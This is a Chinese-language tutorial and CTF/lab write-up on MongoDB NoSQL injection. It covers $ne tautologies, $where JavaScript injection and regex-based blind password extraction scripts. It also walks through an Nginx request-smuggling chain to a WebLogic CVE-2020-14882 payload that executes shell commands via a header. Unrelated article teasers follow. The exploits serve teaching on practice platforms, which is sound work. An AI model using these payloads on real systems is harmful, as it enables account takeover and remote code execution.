nosql的注入

一、SQL注入数据库分类

关系型数据库 mysql oracle sqlserver

非关系型数据库 key-value redis MongoDB(not only sql)

二、MongoDB环境搭建

自己官网下载

Download MongoDB Community Server | MongoDB

其中Mongod.exe是它的一个启动

加上数据库,就开始启动了,监听的端口27017端口 

 成功:

用mongosh连接一下

也可以自带的

 获取数据库 

建表插入两条数据

三、示例

3.1重言式注入

代码

 火狐访问一下,因为我们还没有传值

传一个试试

 那么这样查询有什么问题呢?因为源代码没任何过滤

当我输入变为这个

username[$ne]=1&password[$ne]=1

回显结果,很明显所有数据都出来了,查询password和username中不等于1的值

3.2联合查询注入(失效了,因为在mangodb低版本中,才可以实现)

mangodb也可以实现拼接

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

那么攻击者使用以下语句便可查询所有文档

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

3.3JavaScript注入

如下示例:

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>

由于使用了 `$where` 关键字,其后面的 JavaScript 将会被执行并返回 "whoami",然后将查询出 username 为 whoami 的数据。某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 `$userData` 获取查询条件:

测试一下:

代码

还是可以出来的

 MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

全出来了

相当于在后台是

 结果就是根本没走到if判断里面

3.4布尔盲注

可以利用正则表达式正常登录

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:

username=admin&password[$regex]=.{4} 

脚本:

import requests
import string

password = ''
url = 'http://127.0.0.1/sqllabs/less-46/test.php'

while True:
    for c in string.printable:
        if c not in ['*','+',',','?']:
            get_payload = '?username=admin&password[$regex]= ^%s' %(password + c)
            post_payload = {
                "username":"admin",
                "password[$regex]" : '^' + password + c
            }
            # //json payload
            json_payload = """
            {"username":"admin","password":{"$regex":"^%s"}}
            """ % (password + c)

            r=requests.post(url=url,data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c

四、实操环境加练习

实验官网BurpSuite实操nosql环境:All labs | Web Security Academy

开始先随便输入

 

在这里我们进行抓包来看,很明显支持js数据传输,那我们尝试一下永真登录来看看情况 看来是有正则拦截了

转编码看一下

 呕吼登录了但没完全登录

再试试错误的

那就很明显是两种回显方式,那就可以去使用我们的布尔盲注

py代码:

import requests
import string

password = ''
url = 'http://node5.buuoj.cn:27849/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                print("[+] %s" % (password + c))
                password += c

结果:

尝试读取flag但是这里提示在内网

 测试内网是由什么搭建的

apache.conf

/usr/local/apache/conf/apache.conf

nginx.conf

/usr/local/nginx/conf/nginx.conf

 

很明显是Nginx搭建 

当然抓包也是很清晰的

string(32) "/usr/local/nginx/conf/nginx.conf"
worker_processes  1;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    server {
        listen       80;
        error_page 404 404.php;
        root /usr/local/nginx/html;
        index index.htm index.html index.php;
        location ~ \.php$ {
           root           /usr/local/nginx/html;
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
           include        fastcgi_params;
        }

    }

resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;


    # weblogic
    server {
		listen       80;
		server_name  weblogic;
		location / {
			proxy_set_header Host $host;
			set $backend weblogic;
			proxy_pass http://$backend:7001;
		}
	}
}

 

从代码中很明显可以看到一个事情,内网由host为weblogic服务,但是没有提供可SSRF的位置

Nginx使用的版本为1.17.6,而Nginx<1.17.7存在请求走私漏洞,因此进行尝试

使用如下载荷走私到 WebLogic Console的登录页面

GET /undefined HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 0
Transfer-Encoding: chunked

GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic

py代码:

#-*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/27 1:24
@version: 1.0
"""
import socket

sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node5.buuoj.cn", 27849))

payload = b'GET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: node5.buuoj.cn\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(5)

response = sSocket.recv(4096).decode("utf-8")
version_index = response.find("WebLogic")
if version_index != -1:
    version_info = response[version_index:version_index+50]
    print("WebLogic version:", version_info)
else:
    print("WebLogic version not found in response.")

sSocket.close()



得到weblogic版本为12.2.1.4.0,这个版本正好在 CVE-2020-14882 的范围内,使用CVE-2020-14882,%252e%252e绕过登录直接打

import socket

sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 25369))
payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'
#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
    print(response.decode())
    try:
        response = sSocket.recv(2147483647)
    except:
        break
sSocket.close()

 

成功flag{1c567898-360f-4557-8688-1f06498c853c} 

四、BurpSuite自带nosql实验

入门级:

4.1环境地址

Login - PortSwigger

4.2环境页面

 抓包看一下跳转

很明显这里登录条件还是以js的一个文件来登录

 看一下解决实验要求

我们先尝试一下永真登录很明显进行了一个302的跳转,说明一件事情我们登录成功了,一般登录成功后才会进行跳转

 那么永真查询出现了,我们可不可以试试.*看看正则表达式查询可以吗

那如果两个都为空了

 

为什么会出现500的问题呢????因为我们查出来的数据太多了,所以这里会出现500的问题,总之可以实现万能查询以及正则查询

那我们试一下admin出现302跳转说明admin确实可以成功登录

 可以见得我们已经登录成功了

中等级:

利用nosql注入提取数据

还是一样的去抓包看请求

登录不是js的登录了而是一个正常的登录

winner有可能发到js里面去进行一个查询

 加个'让它闭合很明显有报错,很明显放入js去进行执行了

用js的&&符去进行尝试 

很明显ok了

那我们找一下这个页面有没有password这个元素

很明显是有password这个元素的

 那我们先判断长度(一个一个去试),很明显我试出来是8位

之后我们便可以一位一位去测试了,先发送到报错模块里面

 去爆破字段从第0位开始

 开始调设置

 

最后爆破结果,因为我这里用的是社区版多少有点问题????

高等级: 

还是js格式

 试试永真登录吧

很明显可以但是用户被锁定了需要我们重置密码

去试试吧

告诉我们需要点击邮件

 小技巧where代入js

js中有一个小技巧Object.keys可以带出来我们的所有的名称,看有没有toock

利用正则去匹配一下吧

同样的方法区测试

很明显匹配第一个字母是username

试试第二个吧,匹配出来是password

试试第三个,email

试试第四个,forgotPwd

很明显第四个有用,我们去刚才页面找 

看一下token是不是在里面放着

回显是有无效的token很明显是放着

 继续爆破一下token值22608f771e80af91

这样就可以重新获取密码了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/426871.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Amazon Q :企业级的对话智能导航

前言 目前市面上的许多 AI 智能助手主要局限于开发者和一般用户的使用&#xff0c;对于企业级开发的支持相对较少。然而&#xff0c;随着时代的发展&#xff0c;针对企业发展的定制化 AI 解决方案变得愈发重要。 亚马逊云科技开发者社区为开发者们提供全球的开发技术资源。这里…

arm板运行程序时寻找动态库的路径设置

问题&#xff1a;error while loading shared libraries: libQt5Widgets.so.5: cannot open shared object file&#xff1f; 第一种方法---- 解决&#xff1a; ①复制需要用到的arm库到板子上。 ②pwd指令获取该库的绝对路径&#xff0c;把路径复制到/etc/ld.so.conf文件 ③输…

c++ 基于范围的for循环详解

在for循环中基于复杂对象我们使用引用&#xff0c;这样可以避免对象拷贝&#xff0c;提升性能。 如果确认不会修改引用对象&#xff0c;请在前面加上const限定符。帮助编译器生成更加高效的代码。 如果是基础类型&#xff0c;直接使用值即可。 C11引入了一种更简洁、统一的循…

每日一题——LeetCode1572.矩阵对角线元素的和

方法一 遍历矩阵 如果矩阵中某个位置&#xff08;x,y&#xff09;处于对角线上&#xff0c;那么这个位置必定满足&#xff1a; xy 或 xy len-1 &#xff08;len为矩阵长度&#xff09; var diagonalSum function(mat) {let len mat.length;let sum 0;for (let i 0; i …

STM32-BKP备份寄存器和RTC时钟

BKP介绍 BKP(Bckup Registers&#xff09;备份寄存器 备份寄存器是42个16位的寄存器&#xff0c;可用来存储84个字节的用户应用程序数据。他们处在备份域里&#xff0c;当VDD电源被切断&#xff0c;他们仍然由VBAT&#xff08;备用电池电源&#xff09;维持供电。当系统在待机…

2024绿色能源、城市规划与环境国际会议(ICGESCE 2024)

2024绿色能源、城市规划与环境国际会议(ICGESCE 2024) 一、【会议简介】 随着全球气候变化和环境问题日益严重&#xff0c;绿色能源和可持续发展已成为全球关注的焦点。本次会议旨在汇聚全球在绿色能源、城市规划与环境领域的专家、学者和实践者&#xff0c;共同探讨和分享关于…

冒泡排序 和 qsort排序

目录 冒泡排序 冒泡排序部分 输出函数部分 主函数部分 总代码 控制台输出显示 总代码解释 冒泡排序优化 冒泡排序 主函数 总代码 代码优化解释 qsort 排序 qsort 的介绍 使用qsort排序整型数据 使用qsort排序结构数据 冒泡排序 首先&#xff0c;我先介绍我的冒泡…

wordpress 开源主题

海外就医wordpress主题 出国看病、海外就医是越来越多中产家庭的选择&#xff0c;此wordpress主题适合做相关业务的公司官网。 https://www.jianzhanpress.com/?p5220 防护wordpress外贸主题 个人防护器具wordpress外贸主题&#xff0c;适合做劳动保护的外贸公司使用。 ht…

Mybatis plus拓展功能-JSON处理器

目录 1 前言 2 使用方法 2.1 定义json实体类 2.2 在实体类中使用 1 前言 这是我最近学到的比较新奇的一个东西&#xff0c;数据库居然还可以存储JSON格式的数据&#xff0c;如下。虽然我感觉一般也没谁会这样干&#xff0c;但是既然有&#xff0c;那就当个科普讲一下Mybat…

Linux多线程服务端编程:使用muduo C++网络库 学习笔记 附录D 关于TCP并发连接的几个思考题与试验

前几天作者在新浪微博上出了两道有关TCP的思考题&#xff0c;引发了一场讨论&#xff08;http://weibo.com/1701018393/eCuxDrtaONn&#xff09;。 第一道初级题目是&#xff1a;有一台机器&#xff0c;它有一个IP&#xff0c;上面运行了一个TCP服务程序&#xff0c;程序只侦听…

案例介绍:汽车售后服务网络构建与信息抽取技术应用(开源)

一、引言 在当今竞争激烈的汽车行业中&#xff0c;售后服务的质量已成为品牌成功的关键因素之一。作为一位经验丰富的项目经理&#xff0c;我曾参与构建一个全面的汽车售后服务网络&#xff0c;旨在为客户提供无缝的维修、保养和配件更换服务。这个项目的核心目标是通过高效的…

使用ES检索PDF或Word等格式文件方案

#大数据/ES #经验 #方案架构 ES检索PDF/Word等格式文件方案 插件安装 ES有文档预处理插件&#xff0c;但是7.x版本默认发版包不包含这个ingest attachment plugin 。 通过摄取附件插件&#xff0c;Elasticsearch 可以使用 Apache 文本提取库 Tika 提取常见格式的文件附件&a…

C++ //练习 10.2 重做上一题,但读取string序列存入list中。

C Primer&#xff08;第5版&#xff09; 练习 10.2 练习 10.2 重做上一题&#xff0c;但读取string序列存入list中。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /******************************************************…

基于Springboot免费搭载轻量级阿里云OSS数据存储库(将本地文本、照片、视频、音频等上传云服务保存)

一、注册阿里云账户 打开https://www.aliyun.com/&#xff0c;申请阿里云账户并完成实名认证&#xff08;个人&#xff09;。这种情况就是完成了&#xff1a; 二、开通OSS服务 点击立即开通即可。 三、创建Bucket 申请id和secert&#xff1a; 进去创建一个Accesskey就会出现以…

C++实现简易版http server

mini服务器简介 mini服务器功能 1.实现了GET和POST方法的HTTP request和HTTP respond的构建和发送&#xff0c;使服务器可以完成基本通信功能。 2.使用了线程池技术&#xff0c;使服务器可以一次接收更多的链接和加快了服务器处理数据的速度。 3.实现了简易的CGI&#xff0…

pytorch_神经网络构建6

文章目录 强化学习概念实现qLearning基于这个思路,那么解决这个问题的代码如下 强化学习概念 强化学习有一个非常直观的表现&#xff0c;就是从出发点到目标之间存在着一个连续的状态转换&#xff0c;比如说从状态一到状态456&#xff0c;而每一个状态都有多种的行为&#xff…

外贸网站模板建站

测绘检测wordpress外贸主题 简洁实用的wordpress外贸主题&#xff0c;适合做测绘检测仪器设备的外贸公司使用。 https://www.jianzhanpress.com/?p5337 白马非马衣服WordPress外贸建站模板 白马非马服装行业wordpress外贸建站模板&#xff0c;适用于时间服装企业的官方网站…

新物种、新 CRISPR 系统!Evo 大模型突破全基因组生成,创造生物大模型新标杆...

Evo 由Arc Institute、斯坦福大学和TogetherAI的研究人员开发&#xff0c;是一个长上下文的生物基础模型&#xff0c;能够泛化生物学的基本语言&#xff1a;DNA、RNA 和蛋白质。它能够从单个分子到整个基因组规模&#xff08;超过650 kb&#xff09;进行预测任务和多模态长序列…

C语言-柔性数组成员的使用

文章目录 摘要柔性数组成员基本使用细节探究 零长度数组-定长数组-变长数组 摘要 本文先介绍柔性数组成员(flexible array member)的基本使用&#xff0c;然后介绍其内存结构。最后&#xff0c;补充了一些数组相关的其他概念。 柔性数组成员 基本使用 参考: 【C语言内功修炼…

EasyExcel3.1.1版本上传文件忽略列头大小写

1、背景 项目中使用easyExcel3.1.1版本实现上传下载功能&#xff0c;相关数据DTO以 ExcelProperty(value "dealer_gssn_id") 形式规定其每一列的名称&#xff0c;这样的话easyExcel会完全匹配对应的列名&#xff0c;即用户上传文件时&#xff0c;列名写成Dealer_…